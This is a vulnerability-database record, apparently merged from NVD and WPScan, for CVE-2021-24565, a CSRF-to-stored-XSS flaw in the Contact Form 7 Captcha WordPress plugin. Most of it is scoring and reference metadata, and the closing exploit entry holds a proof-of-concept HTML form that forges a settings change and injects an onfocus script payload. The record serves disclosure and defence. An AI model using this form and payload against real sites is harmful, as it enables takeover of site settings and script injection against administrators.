The Contact Form 7 Captcha WordPress plugin before 0.0.9 does not have any CSRF check in place when saving its settings, allowing attacker to make a logged in user with the manage_options change them. Furthermore, the settings are not escaped when output in attributes, leading to a Stored Cross-Site Scripting issue.
{"id": "CVE-2021-24565", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24565", "description": "The Contact Form 7 Captcha WordPress plugin before 0.0.9 does not have any CSRF check in place when saving its settings, allowing attacker to make a logged in user with the manage_options change them. Furthermore, the settings are not escaped when output in attributes, leading to a Stored Cross-Site Scripting issue.", "published": "2021-08-23T12:15:00", "modified": "2021-08-27T17:27:00", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.8}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24565", "reporter": "contact@wpscan.com", "references": ["https://plugins.trac.wordpress.org/changeset/2570402", "https://wpscan.com/vulnerability/97bfef5e-2ee0-491a-a931-4f44c83e5be0"], "cvelist": ["CVE-2021-24565"], "immutableFields": [], "lastseen": "2022-03-23T14:57:27", "viewCount": 19, "enchantments": {"dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:97BFEF5E-2EE0-491A-A931-4F44C83E5BE0"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:97BFEF5E-2EE0-491A-A931-4F44C83E5BE0"]}], "rev": 4}, "score": {"value": 2.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:97BFEF5E-2EE0-491A-A931-4F44C83E5BE0"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:97BFEF5E-2EE0-491A-A931-4F44C83E5BE0"]}]}, "exploitation": null, "vulnersScore": 2.2}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-352"], "affectedSoftware": [{"cpeName": "contact_form_7_captcha_project:contact_form_7_captcha", "version": "0.0.9", "operator": "lt", "name": "contact form 7 captcha project contact form 7 captcha"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:contact_form_7_captcha_project:contact_form_7_captcha:0.0.9:*:*:*:*:wordpress:*:*", "versionEndExcluding": "0.0.9", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://plugins.trac.wordpress.org/changeset/2570402", "name": "https://plugins.trac.wordpress.org/changeset/2570402", "refsource": "CONFIRM", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://wpscan.com/vulnerability/97bfef5e-2ee0-491a-a931-4f44c83e5be0", "name": "https://wpscan.com/vulnerability/97bfef5e-2ee0-491a-a931-4f44c83e5be0", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}]}
{"wpvulndb": [{"lastseen": "2021-09-14T23:32:16", "description": "The plugin does not have any CSRF check in place when saving its settings, allowing attacker to make a logged in user with the manage_options change them. Furthermore, the settings are not escaped when output in attributes, leading to a Stored Cross-Site Scripting issue.\n\n### PoC\n\nAll cf7sr_* parameters are vulnerable \n", "cvss3": {}, "published": "2021-07-26T00:00:00", "type": "wpvulndb", "title": "Contact Form 7 Captcha < 0.0.9 - CSRF to Stored XSS", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2021-24565"], "modified": "2021-07-26T07:47:32", "id": "WPVDB-ID:97BFEF5E-2EE0-491A-A931-4F44C83E5BE0", "href": "https://wpscan.com/vulnerability/97bfef5e-2ee0-491a-a931-4f44c83e5be0", "sourceData": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "wpexploit": [{"lastseen": "2021-09-14T23:32:16", "description": "The plugin does not have any CSRF check in place when saving its settings, allowing attacker to make a logged in user with the manage_options change them. Furthermore, the settings are not escaped when output in attributes, leading to a Stored Cross-Site Scripting issue.\n", "cvss3": {}, "published": "2021-07-26T00:00:00", "type": "wpexploit", "title": "Contact Form 7 Captcha < 0.0.9 - CSRF to Stored XSS", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-24565"], "modified": "2021-07-26T07:47:32", "id": "WPEX-ID:97BFEF5E-2EE0-491A-A931-4F44C83E5BE0", "href": "", "sourceData": "All cf7sr_* parameters are vulnerable\r\n\r\n<html>\r\n <body>\r\n <form action=\"https://example.com/wp-admin/options-general.php?page=cf7sr_edit\" method=\"POST\">\r\n <input type=\"hidden\" name=\"update\" value=\"1\" />\r\n <input type=\"hidden\" name=\"cf7sr_key\" value=\"1\" />\r\n <input type=\"hidden\" name=\"cf7sr_secret\" value=\"2\" />\r\n <input type=\"hidden\" name=\"cf7sr_message\" value='\" autofocus=autofocus onfocus=alert(1) e=' />\r\n <input type=\"submit\" value=\"Submit request\" />\r\n </form>\r\n </body>\r\n</html>\r\n\r\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}